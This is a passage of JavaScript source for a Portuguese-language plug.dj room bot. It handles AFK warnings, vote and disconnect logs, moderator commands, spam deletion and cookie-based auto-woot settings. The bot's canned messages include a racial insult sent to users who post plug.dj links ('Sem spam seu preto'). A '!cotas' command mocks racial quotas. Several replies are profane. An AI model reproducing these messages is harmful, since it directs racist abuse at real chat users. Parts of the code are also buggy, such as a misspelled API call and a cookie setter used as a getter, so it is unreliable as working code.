this.lastWarning = null; }; User.prototype.updateDrinkTime = function() { return this.drinkTime = new Date(); }; User.prototype.getLastDrinkTime = function() { return this.drinkTime; }; User.prototype.getLastActivity = function() { return this.lastActivity; }; User.prototype.getLastWarning = function() { if (this.lastWarning === null) { return false; } else { return this.lastWarning; } }; User.prototype.getUser = function() { return this.user; }; User.prototype.getWarningCount = function() { return this.afkWarningCount; }; User.prototype.getIsDj = function() { var DJs, dj, _i, _len; DJs = API.getDJs(); for (_i = 0, _len = DJs.length; _i < _len; _i++) { dj = DJs[_i]; if (this.user.id === dj.id) { return true; } } return false; }; User.prototype.warn = function() { this.afkWarningCount++; return this.lastWarning = new Date(); }; User.prototype.notDj = function() { this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.inRoom = function(online) { return this.isInRoom = online; }; User.prototype.updateVote = function(v) { if (this.isInRoom) { return data.voteLog[this.user.id][data.currentsong.id] = v; } }; return User; })(); RoomHelper = (function() { function RoomHelper() {} RoomHelper.prototype.lookupUser = function(username) { var id, u, _ref; _ref = data.users; for (id in _ref) { u = _ref[id]; if (u.getUser().username === username) { return u.getUser(); } } return false; }; RoomHelper.prototype.userVoteRatio = function(user) { var songId, songVotes, vote, votes; songVotes = data.voteLog[user.id]; votes = { 'woot': 0, 'meh': 0 }; for (songId in songVotes) { vote = songVotes[songId]; if (vote === 1) { votes['woot']++; } else if (vote === -1) { votes['meh']++; } } votes['positiveRatio'] = (votes['woot'] / (votes['woot'] + votes['meh'])).toFixed(2); return votes; }; return RoomHelper; })(); pupOnline = function() { var currentversion, me, myname; me = API.getSelf(); myname = me.username; currentversion = "1.0.0"; log("BOT editado pelo Rafal Moraes versão " + currentversion + " Chupa Jô"); return API.sendChat("/me on"); }; populateUserData = function() { var u, users, _i, _len; users = API.getUsers(); for (_i = 0, _len = users.length; _i < _len; _i++) { u = users[_i]; data.users[u.id] = new User(u); data.voteLog[u.id] = {}; } }; initEnvironment = function() { document.getElementById("button-vote-positive").click(); document.getElementById("button-sound").click(); Playback.streamDisabled = true; return Playback.stop(); }; initialize = function() { pupOnline(); populateUserData(); initEnvironment(); initHooks(); data.startup(); data.newSong(); return data.startAfkInterval(); }; afkCheck = function() { var DJs, id, lastActivity, lastWarned, now, secsLastActive, timeSinceLastActivity, timeSinceLastWarning, twoMinutes, user, _ref, _results; _ref = data.users; _results = []; for (id in _ref) { user = _ref[id]; now = new Date(); lastActivity = user.getLastActivity(); timeSinceLastActivity = now.getTime() - lastActivity.getTime(); if (timeSinceLastActivity > data.afkTime) { if (user.getIsDj()) { secsLastActive = timeSinceLastActivity / 1000; if (user.getWarningCount() === 0) { user.warn(); _results.push(API.sendChat("@" + user.getUser().username + ", Você não falou no chat nos ultimos 30 minutos, por favor fale alguma coisa em 4 minutos ou será kickado da line de dj.")); } else if (user.getWarningCount() === 1) { lastWarned = user.getLastWarning(); timeSinceLastWarning = now.getTime() - lastWarned.getTime(); twoMinutes = 4 * 60 * 1000; if (timeSinceLastWarning > twoMinutes) { DJs = API.getDJs(); if (DJs.length > 0 && DJs[0].id !== user.getUser().id) { API.sendChat("@" + user.getUser().username + ", você foi avisado, fique ativo enquanto está na line."); API.moderateRemoveDJ(id); _results.push(user.warn()); } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(user.notDj()); } } else { _results.push(void 0); } } return _results; }; msToStr = function(msTime) { var ms, msg, timeAway; msg = ''; timeAway = { 'days': 0, 'hours': 0, 'minutes': 0, 'seconds': 0 }; ms = { 'day': 24 * 60 * 60 * 1000, 'hour': 60 * 60 * 1000, 'minute': 60 * 1000, 'second': 1000 }; if (msTime > ms['day']) { timeAway['days'] = Math.floor(msTime / ms['day']); msTime = msTime % ms['day']; } if (msTime > ms['hour']) { timeAway['hours'] = Math.floor(msTime / ms['hour']); msTime = msTime % ms['hour']; } if (msTime > ms['minute']) { timeAway['minutes'] = Math.floor(msTime / ms['minute']); msTime = msTime % ms['minute']; } if (msTime > ms['second']) { timeAway['seconds'] = Math.floor(msTime / ms['second']); } if (timeAway['days'] !== 0) { msg += timeAway['days'].toString() + 'd'; } if (timeAway['hours'] !== 0) { msg += timeAway['hours'].toString() + 'h'; } if (timeAway['minutes'] !== 0) { msg += timeAway['minutes'].toString() + 'm'; } if (timeAway['seconds'] !== 0) { msg += timeAway['seconds'].toString() + 's'; } if (msg !== '') { return msg; } else { return false; } }; Command = (function() { function Command(msgData) { this.msgData = msgData; this.init(); } Command.prototype.init = function() { this.parseType = null; this.command = null; return this.rankPrivelege = null; }; Command.prototype.functionality = function(data) {}; Command.prototype.hasPrivelege = function() { var user; user = data.users[this.msgData.fromID].getUser(); switch (this.rankPrivelege) { case 'host': return user.permission >= 5; case 'cohost': return user.permission >= 4; case 'mod': return user.permission >= 3; case 'manager': return user.permission >= 3; case 'bouncer': return user.permission >= 2; case 'featured': return user.permission >= 1; default: return true; } }; Command.prototype.commandMatch = function() { var command, msg, _i, _len, _ref; msg = this.msgData.message; if (typeof this.command === 'string') { if (this.parseType === 'exact') { if (msg === this.command) { return true; } else { return false; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, this.command.length) === this.command) { return true; } else { return false; } } else if (this.parseType === 'contains') { if (msg.indexOf(this.command) !== -1) { return true; } else { return false; } } } else if (typeof this.command === 'object') { _ref = this.command; for (_i = 0, _len = _ref.length; _i < _len; _i++) { command = _ref[_i]; if (this.parseType === 'exact') { if (msg === command) { return true; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, command.length) === command) { return true; } } else if (this.parseType === 'contains') { if (msg.indexOf(command) !== -1) { return true; } } } return false; } }; Command.prototype.evalMsg = function() { if (this.commandMatch() && this.hasPrivelege()) { this.functionality(); return true; } else { return false; } }; return Command; })(); newsCommand = (function(_super) { __extends(newsCommand, _super); function newsCommand() { _ref = newsCommand.__super__.constructor.apply(this, arguments); return _ref; } newsCommand.prototype.init = function() { this.command = '!cotas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newsCommand.prototype.functionality = function() { var msg; msg = "/me Acaba de Ativar modo Cota e roubou sua vaga na Faculdade e sua vez na Cabine de DJ!"; return API.sendChat(msg); }; return newsCommand; })(Command); newSongsCommand = (function(_super) { __extends(newSongsCommand, _super); function newSongsCommand() { _ref1 = newSongsCommand.__super__.constructor.apply(this, arguments); return _ref1; } newSongsCommand.prototype.init = function() { this.command = '!musicanovas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newSongsCommand.prototype.functionality = function() { var arts, cMedia, chans, chooseRandom, mChans, msg, selections, u, _ref2; mChans = this.memberChannels.slice(0); chans = this.channels.slice(0); arts = this.artists.slice(0); chooseRandom = function(list) { var l, r; l = list.length; r = Math.floor(Math.random() * l); return list.splice(r, 1); }; selections = { channels: [], artist: '' }; u = data.users[this.msgData.fromID].getUser().username; if (u.indexOf("MistaDubstep") !== -1) { selections['channels'].push('MistaDubstep'); } else if (u.indexOf("Underground Promotions") !== -1) { selections['channels'].push('UndergroundDubstep'); } else { selections['channels'].push(chooseRandom(mChans)); } selections['channels'].push(chooseRandom(chans)); selections['channels'].push(chooseRandom(chans)); cMedia = API.getMedia(); if (_ref2 = cMedia.author, __indexOf.call(arts, _ref2) >= 0) { selections['artist'] = cMedia.author; } else { selections['artist'] = chooseRandom(arts); } msg = "Querem musica de Dubstep do " + selections['artist'] + " entre! Tem musicas nova sempre em http://youtube.com/" + selections['channels'][0] + " http://youtube.com/" + selections['channels'][1] + " ou http://youtube.com/" + selections['channels'][2]; return API.sendChat(msg); }; newSongsCommand.prototype.memberChannels = ["MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.channels = ["BassRape", "MonstercatMedia", "UKFdubstep", "DropThatBassline", "VitalDubstep", "AirwaveDubstepTV", "InspectorDubplate", "TehDubstepChannel", "UNITEDubstep", "LuminantNetwork", "TheSoundIsle", "PandoraMuslc", "MrSuicideSheep", "HearTheSensation", "bassoutletpromos", "MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.artists = ["Doctor P", "Excision", "Flux Pavilion", "Knife Party", "Rusko", "Bassnectar", "Nero", "Deadmau5", "Borgore", "Zomboy"]; return newSongsCommand; })(Command); themeCommand = (function(_super) { __extends(themeCommand, _super); function themeCommand() { _ref2 = themeCommand.__super__.constructor.apply(this, arguments); return _ref2; } themeCommand.prototype.init = function() { this.command = '!tema'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; themeCommand.prototype.functionality = function() { var msg; msg = "Temas permitidos aqui na sala. electro, techno, "; msg += "dubstep."; return API.sendChat(msg); }; return themeCommand; })(Command); rulesCommand = (function(_super) { __extends(rulesCommand, _super); function rulesCommand() { _ref3 = rulesCommand.__super__.constructor.apply(this, arguments); return _ref3; } rulesCommand.prototype.init = function() { this.command = '!regras'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; rulesCommand.prototype.functionality = function() { var msg1, msg2; msg1 = " 1) Video no Maximo 6 minutos. "; msg1 += " 2) Sem Flood! "; msg1 += " 3) Nao escrever em colorido "; msg1 += " 4) Respeitar os Adms e Mods;s "; msg1 += " 5) Nao Fiquem Pedindo Cargos "; msg2 = "Curta: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl"; msg2 += ""; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return rulesCommand; })(Command); roomHelpCommand = (function(_super) { __extends(roomHelpCommand, _super); function roomHelpCommand() { _ref4 = roomHelpCommand.__super__.constructor.apply(this, arguments); return _ref4; } roomHelpCommand.prototype.init = function() { this.command = '!ajuda'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; roomHelpCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "Bem vindo a Sala! Para ser o DJ, Criar uma lista de reprodução e coloque Musica do Youtube ou soundcloud. "; msg1 += "Se é novo procure pelo seu nome na sua tela (do lado da cabine de dj e clique) e depois mude o nome."; msg2 = "Para Ganhar Pontos é só clica em Bacana. "; msg2 += "Digite !regras pare ler as porra das regras."; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return roomHelpCommand; })(Command); afksCommand = (function(_super) { __extends(afksCommand, _super); function afksCommand() { _ref5 = afksCommand.__super__.constructor.apply(this, arguments); return _ref5; } afksCommand.prototype.init = function() { this.command = '!afks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; afksCommand.prototype.functionality = function() { var dj, djAfk, djs, msg, now, _i, _len; msg = ''; djs = API.getDJs(); for (_i = 0, _len = djs.length; _i < _len; _i++) { dj = djs[_i]; now = new Date(); djAfk = now.getTime() - data.users[dj.id].getLastActivity().getTime(); if (djAfk > (5 * 60 * 1000)) { if (msToStr(djAfk) !== false) { msg += dj.username + ' - ' + msToStr(djAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return afksCommand; })(Command); allAfksCommand = (function(_super) { __extends(allAfksCommand, _super); function allAfksCommand() { _ref6 = allAfksCommand.__super__.constructor.apply(this, arguments); return _ref6; } allAfksCommand.prototype.init = function() { this.command = '!todosafks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; allAfksCommand.prototype.functionality = function() { var msg, now, u, uAfk, usrs, _i, _len; msg = ''; usrs = API.getUsers(); for (_i = 0, _len = usrs.length; _i < _len; _i++) { u = usrs[_i]; now = new Date(); uAfk = now.getTime() - data.users[u.id].getLastActivity().getTime(); if (uAfk > (10 * 60 * 1000)) { if (msToStr(uAfk) !== false) { msg += u.username + ' - ' + msToStr(uAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return allAfksCommand; })(Command); statusCommand = (function(_super) { __extends(statusCommand, _super); function statusCommand() { _ref7 = statusCommand.__super__.constructor.apply(this, arguments); return _ref7; } statusCommand.prototype.init = function() { this.command = '!status'; this.parseType = 'exact'; return this.rankPrivelege = 'featured'; }; statusCommand.prototype.functionality = function() { var day, hour, launch, lt, meridian, min, month, msg, t, totals; lt = data.launchTime; month = lt.getMonth() + 1; day = lt.getDate(); hour = lt.getHours(); meridian = hour % 12 === hour ? 'AM' : 'PM'; min = lt.getMinutes(); min = min < 10 ? '0' + min : min; t = data.totalVotingData; t['songs'] = data.songCount; launch = 'Iniciada em ' + month + '/' + day + ' ' + hour + ':' + min + ' ' + meridian + '. '; totals = '' + t.songs + ' Teve: :+1: ' + t.woots + ',:-1: ' + t.mehs + ',:heart: ' + t.curates + '.' msg = launch + totals; return API.sendChat(msg); }; return statusCommand; })(Command); dieCommand = (function(_super) { __extends(dieCommand, _super); function dieCommand() { _ref8 = dieCommand.__super__.constructor.apply(this, arguments); return _ref8; } dieCommand.prototype.init = function() { this.command = '!adeus'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; dieCommand.prototype.functionality = function() { API.sendChat("Acho que fui envenenado!"); undoHooks(); API.sendChat("Vish,"); data.implode(); return API.sendChat("Morri! x_x"); }; return dieCommand; })(Command); reloadCommand = (function(_super) { __extends(reloadCommand, _super); function reloadCommand() { _ref9 = reloadCommand.__super__.constructor.apply(this, arguments); return _ref9; } reloadCommand.prototype.init = function() { this.command = '!reload'; this.parseType = 'exact'; return this.rankPrivelege = 'Host'; }; reloadCommand.prototype.functionality = function() { var pupSrc; API.sendChat('/me Não se Preocupe o Papai Chegou'); undoHooks(); pupSrc = data.pupScriptUrl; data.implode(); return $.getScript(pupSrc); }; return reloadCommand; })(Command); lockCommand = (function(_super) { __extends(lockCommand, _super); function lockCommand() { _ref10 = lockCommand.__super__.constructor.apply(this, arguments); return _ref10; } lockCommand.prototype.init = function() { this.command = '!trava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; lockCommand.prototype.functionality = function() { return data.lockBooth(); }; return lockCommand; })(Command); unlockCommand = (function(_super) { __extends(unlockCommand, _super); function unlockCommand() { _ref11 = unlockCommand.__super__.constructor.apply(this, arguments); return _ref11; } unlockCommand.prototype.init = function() { this.command = '!destrava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; unlockCommand.prototype.functionality = function() { return data.unlockBooth(); }; return unlockCommand; })(Command); removeCommand = (function(_super) { __extends(removeCommand, _super); function removeCommand() { _ref12 = removeCommand.__super__.constructor.apply(this, arguments); return _ref12; } removeCommand.prototype.init = function() { this.command = '!remove'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; removeCommand.prototype.functionality = function() { var djs, popDj; djs = API.getDJs(); popDj = djs[djs.length - 1]; return API.moderateRemoveDJ(popDj.id); }; return removeCommand; })(Command); addCommand = (function(_super) { __extends(addCommand, _super); function addCommand() { _ref13 = addCommand.__super__.constructor.apply(this, arguments); return _ref13; } addCommand.prototype.init = function() { this.command = '!add'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; addCommand.prototype.functionality = function() { var msg, name, r, user; msg = this.msgData.message; if (msg.length > this.command.length + 2) { name = msg.substr(this.command.length + 2); r = new RoomHelper(); user = r.lookupUser(name); if (user !== false) { API.moderateAddDJ(user.id); return setTimeout((function() { return data.unlockBooth(); }), 5000); } } }; return addCommand; })(Command); skipCommand = (function(_super) { __extends(skipCommand, _super); function skipCommand() { _ref14 = skipCommand.__super__.constructor.apply(this, arguments); return _ref14; } skipCommand.prototype.init = function() { this.command = '!pula'; this.parseType = 'exact'; this.rankPrivelege = 'bouncer'; return window.lastSkipTime; }; skipCommand.prototype.functionality = function() { var currentTime, millisecondsPassed; currentTime = new Date(); if (!window.lastSkipTime) { API.moderateForceSkip(); return window.lastSkipTime = currentTime; } else { millisecondsPassed = Math.round(currentTime.getTime() - window.lastSkipTime.getTime()); if (millisecondsPassed > 10000) { window.lastSkipTime = currentTime; return API.moderateForceSkip(); } } }; return skipCommand; })(Command); disconnectLookupCommand = (function(_super) { __extends(disconnectLookupCommand, _super); function disconnectLookupCommand() { _ref15 = disconnectLookupCommand.__super__.constructor.apply(this, arguments); return _ref15; } disconnectLookupCommand.prototype.init = function() { this.command = '!dcmembros'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; disconnectLookupCommand.prototype.functionality = function() { var cmd, dcHour, dcLookupId, dcMeridian, dcMins, dcSongsAgo, dcTimeStr, dcUser, disconnectInstances, givenName, id, recentDisconnect, resp, u, _i, _len, _ref16, _ref17; cmd = this.msgData.message; if (cmd.length > 11) { givenName = cmd.slice(11); _ref16 = data.users; for (id in _ref16) { u = _ref16[id]; if (u.getUser().username === givenName) { dcLookupId = id; disconnectInstances = []; _ref17 = data.userDisconnectLog; for (_i = 0, _len = _ref17.length; _i < _len; _i++) { dcUser = _ref17[_i]; if (dcUser.id === dcLookupId) { disconnectInstances.push(dcUser); } } if (disconnectInstances.length > 0) { resp = u.getUser().username + ' disconectou ' + disconnectInstances.length.toString() + ' '; if (disconnectInstances.length === 1) { resp += '. '; } else { resp += 's. '; } recentDisconnect = disconnectInstances.pop(); dcHour = recentDisconnect.time.getHours(); dcMins = recentDisconnect.time.getMinutes(); if (dcMins < 10) { dcMins = '0' + dcMins.toString(); } dcMeridian = dcHour % 12 === dcHour ? 'AM' : 'PM'; dcTimeStr = '' + dcHour + ':' + dcMins + ' ' + dcMeridian; dcSongsAgo = data.songCount - recentDisconnect.songCount; resp += 'O seu disconect mais recente foi á ' + dcTimeStr + ' (' + dcSongsAgo + ' músicas atras). '; if (recentDisconnect.waitlistPosition !== void 0) { resp += 'Ele estava ' + recentDisconnect.waitlistPosition + ' música'; if (recentDisconnect.waitlistPosition > 1) { resp += 's'; } resp += ' atras da cabine de dj.'; } else { resp += 'Ele não estava na cabine de dj.'; } API.sendChat(resp); return; } else { API.sendChat(" " + u.getUser().username + " não disconectou."); return; } } } return API.sendChat("Eu não vejo essa pessoa na sala '" + givenName + "'."); } }; return disconnectLookupCommand; })(Command); voteRatioCommand = (function(_super) { __extends(voteRatioCommand, _super); function voteRatioCommand() { _ref16 = voteRatioCommand.__super__.constructor.apply(this, arguments); return _ref16; } voteRatioCommand.prototype.init = function() { this.command = '!voteratio'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; voteRatioCommand.prototype.functionality = function() { var msg, name, r, u, votes; r = new RoomHelper(); msg = this.msgData.message; if (msg.length > 12) { name = msg.substr(12); u = r.lookupUser(name); if (u !== false) { votes = r.userVoteRatio(u); msg = u.username + " :+1: " + votes['woot'].toString() + " vez"; if (votes['woot'] === 1) { msg += ', '; } else { msg += 'es, '; } msg += "e :-1: " + votes['meh'].toString() + " veze"; if (votes['meh'] === 1) { msg += '. '; } else { msg += 'es. '; } msg += "O seu vote ratio é: " + votes['positiveRatio'].toString() + "."; return API.sendChat(msg); } else { return API.sendChat("Não parece ter alguém com esse nome de'" + name + "'"); } } else { return API.sendChat("Você quer alguma coisa? Ou você está apenas tentando me irritar."); } }; return voteRatioCommand; })(Command); avgVoteRatioCommand = (function(_super) { __extends(avgVoteRatioCommand, _super); function avgVoteRatioCommand() { _ref17 = avgVoteRatioCommand.__super__.constructor.apply(this, arguments); return _ref17; } avgVoteRatioCommand.prototype.init = function() { this.command = '!avgvoteratio'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; avgVoteRatioCommand.prototype.functionality = function() { var averageRatio, msg, r, ratio, roomRatios, uid, user, userRatio, votes, _i, _len, _ref18; roomRatios = []; r = new RoomHelper(); _ref18 = data.voteLog; for (uid in _ref18) { votes = _ref18[uid]; user = data.users[uid].getUser(); userRatio = r.userVoteRatio(user); roomRatios.push(userRatio['positiveRatio']); } averageRatio = 0.0; for (_i = 0, _len = roomRatios.length; _i < _len; _i++) { ratio = roomRatios[_i]; averageRatio += ratio; } averageRatio = averageRatio / roomRatios.length; msg = "Accounting for " + roomRatios.length.toString() + " user ratios, the average room ratio is " + averageRatio.toFixed(2).toString() + "."; return API.sendChat(msg); }; return avgVoteRatioCommand; })(Command); staffCommand = (function(_super) { __extends(staffCommand, _super); function staffCommand() { _ref18 = staffCommand.__super__.constructor.apply(this, arguments); return _ref18; } staffCommand.prototype.init = function() { this.command = '!staff'; this.parseType = 'exact'; this.rankPrivelege = 'user'; return window.lastActiveStaffTime; }; staffCommand.prototype.staff = function() { var now, staff, staffAfk, stringstaff, user, _i, _len; staff = API.getStaff(); now = new Date(); stringstaff = ""; for (_i = 0, _len = staff.length; _i < _len; _i++) { user = staff[_i]; if (user.permission > 1) { staffAfk = now.getTime() - data.users[user.id].getLastActivity().getTime(); if (staffAfk < (60 * 60 * 1000)) { stringstaff += "@" + user.username + " "; } } } if (stringstaff.length === 0) { stringstaff = "Aff pqp não tem staff ativo :'("; } return stringstaff; }; staffCommand.prototype.functionality = function() { var currentTime, millisecondsPassed, thestaff; thestaff = this.staff(); currentTime = new Date(); if (!window.lastActiveStaffTime) { API.sendChat(thestaff); return window.lastActiveStaffTime = currentTime; } else { millisecondsPassed = currentTime.getTime() - window.lastActiveStaffTime.getTime(); if (millisecondsPassed > 10000) { window.lastActiveStaffTime = currentTime; return API.sendChat(thestaff); } } }; return staffCommand; })(Command); lockskipCommand = (function(_super) { __extends(lockskipCommand, _super); function lockskipCommand() { _ref19 = lockskipCommand.__super__.constructor.apply(this, arguments); return _ref19; } lockskipCommand.prototype.init = function() { this.command = '!repetida'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; lockskipCommand.prototype.functionality = function() { return data.lockBooth(function() { return setTimeout(function() {}, API.moderateForceSkip(), setTimeout(function() { return data.unlockBooth(); }, 5000), 5000); }); }; return lockskipCommand; })(Command); channelCommand = (function(_super) { __extends(channelCommand, _super); function channelCommand() { _ref20 = channelCommand.__super__.constructor.apply(this, arguments); return _ref20; } channelCommand.prototype.init = function() { this.command = '!comandos'; this.parseType = 'startsWith'; return this.rankPrivelege = 'user'; }; channelCommand.prototype.functionality = function() { return API.sendChat("/em: Lista de comandos: https://www.google.com.br/ _|_"); }; return channelCommand; })(Command); versionCommand = (function(_super) { __extends(versionCommand, _super); function versionCommand() { _ref21 = versionCommand.__super__.constructor.apply(this, arguments); return _ref21; } versionCommand.prototype.init = function() { this.command = '!version'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; versionCommand.prototype.functionality = function() { return API.sendChat("/me BOT editado 1.0 " + currentversion); }; return versionCommand; })(Command); cmds = [newSongsCommand, themeCommand, rulesCommand, roomHelpCommand, afksCommand, allAfksCommand, statusCommand, dieCommand, reloadCommand, lockCommand, unlockCommand, removeCommand, addCommand, skipCommand, disconnectLookupCommand, voteRatioCommand, avgVoteRatioCommand, staffCommand, lockskipCommand, versionCommand, newsCommand, channelCommand]; chatCommandDispatcher = function(chat) { var c, cmd, _i, _len, _results; chatUniversals(chat); _results = []; for (_i = 0, _len = cmds.length; _i < _len; _i++) { cmd = cmds[_i]; c = new cmd(chat); if (c.evalMsg()) { break; } else { _results.push(void 0); } } return _results; }; updateVotes = function(obj) { data.currentwoots = obj.positive; data.currentmehs = obj.negative; return data.currentcurates = obj.curates; }; announceCurate = function(obj) { return APIsendChat("/em: " + obj.user.username + " Gostou dessa Musica!"); }; handleUserJoin = function(user) { data.userJoin(user); return data.users[user.id].updateActivity(); }; handleNewSong = function(obj) { var songId; data.intervalMessages(); if (data.currentsong === null) { data.newSong(); } else { API.sendChat("/em: " + data.currentsong.title + " por " + data.currentsong.author + ". :+1: " + data.currentwoots + ", :-1: " + data.currentmehs + ", :heart: " + data.currentcurates + "."); data.newSong(); document.getElementById("button-vote-positive").click(); } if (data.forceSkip) { songId = obj.media.id; return setTimeout(function() { var cMedia; cMedia = API.getMedia(); if (cMedia.id === songId) { return API.moderateForceSkip(); } }, obj.media.duration * 1000); } }; handleVote = function(obj) { return data.users[obj.user.id].updateVote(obj.vote); }; handleUserLeave = function(user) { var disconnectStats, i, u, _i, _len, _ref22; disconnectStats = { id: user.id, time: new Date(), songCount: data.songCount }; i = 0; _ref22 = data.internalWaitlist; for (_i = 0, _len = _ref22.length; _i < _len; _i++) { u = _ref22[_i]; if (u.id === user.id) { disconnectStats['waitlistPosition'] = i - 1; data.setInternalWaitlist(); break; } else { i++; } } data.userDisconnectLog.push(disconnectStats); return data.users[user.id].inRoom(false); }; antispam = function(chat) { var plugRoomLinkPatt, sender; plugRoomLinkPatt = /(\bhttps?:\/\/(www.)?plug\.dj[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig; if (plugRoomLinkPatt.exec(chat.message)) { sender = API.getUser(chat.fromID); if (!sender.ambassador && !sender.moderator && !sender.owner && !sender.superuser) { if (!data.users[chat.fromID]["protected"]) { API.sendChat("Sem spam seu preto"); return API.moderateDeleteChat(chat.chatID); } else { return API.sendChat("Eu deveria expulsá-lo, mas estamos aqui para se diverti!"); } } } }; fans = function(chat) { var msg; msg = chat.message.toLowerCase(); if (msg.indexOf('eowkreowr') !== -1 || msg.indexOf('dsjaodas') !== -1 || msg.indexOf('poekpower') !== -1 || msg.indexOf('fokdsofsdpof') !== -1 || msg.indexOf(':trollface:') !== -1 || msg.indexOf('autowoot:') !== -1) { return API.moderateDeleteChat(chat.chatID); } }; chatUniversals = function(chat) { data.activity(chat); antispam(chat); return fans(chat); }; hook = function(apiEvent, callback) { return API.addEventListener(apiEvent, callback); }; unhook = function(apiEvent, callback) { return API.removeEventListener(apiEvent, callback); }; apiHooks = [ { 'event': API.ROOM_SCORE_UPDATE, 'callback': updateVotes }, { 'event': API.CURATE_UPDATE, 'callback': announceCurate }, { 'event': API.USER_JOIN, 'callback': handleUserJoin }, { 'event': API.DJ_ADVANCE, 'callback': handleNewSong }, { 'event': API.VOTE_UPDATE, 'callback': handleVote }, { 'event': API.CHAT, 'callback': chatCommandDispatcher }, { 'event': API.USER_LEAVE, 'callback': handleUserLeave } ]; initHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(hook(pair['event'], pair['callback'])); } return _results; }; undoHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(unhook(pair['event'], pair['callback'])); } return _results; }; initialize(); }).call(this); delay(); loadDammit(); function delay() { setTimeout("load();", 6000); } function load() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://cookies.googlecode.com/svn/trunk/jaaulde.cookies.js'; script.onreadystatechange = function() { if (this.readyState == 'complete') { loaded(); } } script.onload = readCookies; head.appendChild(script); } function loaded() { loaded = true } function loadDammit() { if (loaded == true) { readCookies(); } } function readCookies() { var currentDate = new Date(); currentDate.setFullYear(currentDate.getFullYear() + 1); var newOptions = { expiresAt: currentDate } jaaulde.utils.cookies.setOptions(newOptions); var value = jaaulde.utils.cookies.get(COOKIE_WOOT); autowoot = value != null ? value : false; value = jaaulde.utils.cookies.get(COOKIE_QUEUE); autoqueue = value != null ? value : false; value = jaaulde.utils.cookies.set(COOKIE_STREAM); stream = value != null ? value : true; value = jaaulde.utils.cookies.get(COOKIE_HIDE_VIDEO); hideVideo = value != null ? value : false; onCookiesLoaded(); } function onCookiesLoaded() { if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6005); } if (autoqueue && !isInQueue()) { joinQueue(); } if (hideVideo) { $('#yt-frame').animate({'height': (hideVideo ? '0px' : '271px')}, {duration: 'fast'}); $('#playback .frame-background').animate({'opacity': (hideVideo ? '0' : '0.91')}, {duration: 'medium'}); } initAPIListeners(); displayUI(); initUIListeners(); populateUserlist(); } var words = { "Points" : "Beats!", "Now Playing" : "Now Spinning!", "Time Remaining" : "Time Remaining!", "Volume" : "Crank the Volume!", "Current DJ" : "Disk Jockey", "Crowd Response" : "Crowd Reaction!", "Fans":"Stalkers!"}; String.prototype.prepareRegex = function() { return this.replace(/([[]^&\$.()\?\/\+{}|])/g, "\$1"); }; function isOkTag(tag) { return (",pre,blockquote,code,input,button,textarea".indexOf(","+tag) == -1); } var regexs=new Array(), replacements=new Array(); for(var word in words) { if(word != "") { regexs.push(new RegExp("\b"+word.prepareRegex().replace(/*/g,'[^ ]*')+"\b", 'gi')); replacements.push(words[word]); } } var texts = document.evaluate(".//text()[normalize-space(.)!='']",document.body,null,6,null), text=""; for(var i=0,l=texts.snapshotLength; (this_text=texts.snapshotItem(i)); i++) { if(isOkTag(this_text.parentNode.tagName.toLowerCase()) && (text=this_text.textContent)) { for(var x=0,l=regexs.length; x<l; x++) { text = text.replace(regexs[x], replacements[x]); this_text.textContent = text; } } } var loaded = false; var mentioned = false; var clicked = false; var skipped = false; var timeToWait = 120000; var clickWait = 5000; var skipWait = 601; var timePassed = 0; var clickPassed = 0; var skipPassed = 0; var timer = null; var clickTimer = null; var skipTimer = null; var COOKIE_WOOT = 'autowoot'; var COOKIE_QUEUE = 'autoqueue'; var COOKIE_STREAM = 'stream'; var COOKIE_HIDE_VIDEO = 'hidevideo'; var MAX_USERS_WAITLIST = 50; var fbMsg = ["Entrem na Pagina da sala: https://www.facebook.com/CantadasdiPedreiro"]; var rulesMsg = "Regras: 1) Video no Maximo 6 minutos. 2) Sem Flood! 3) Nao escrever em colorido 4) Respeitar os Adms e Mods ;s 5) Nao Fiquem Pedindo Cargos. "; var skipMsg = ["por favor não pedir para pular as músicas, quer pular da deslike."]; var fansMsg = ["Virem meu Fan que eu retribuo vocês, não esqueça de da @ Menções"]; var 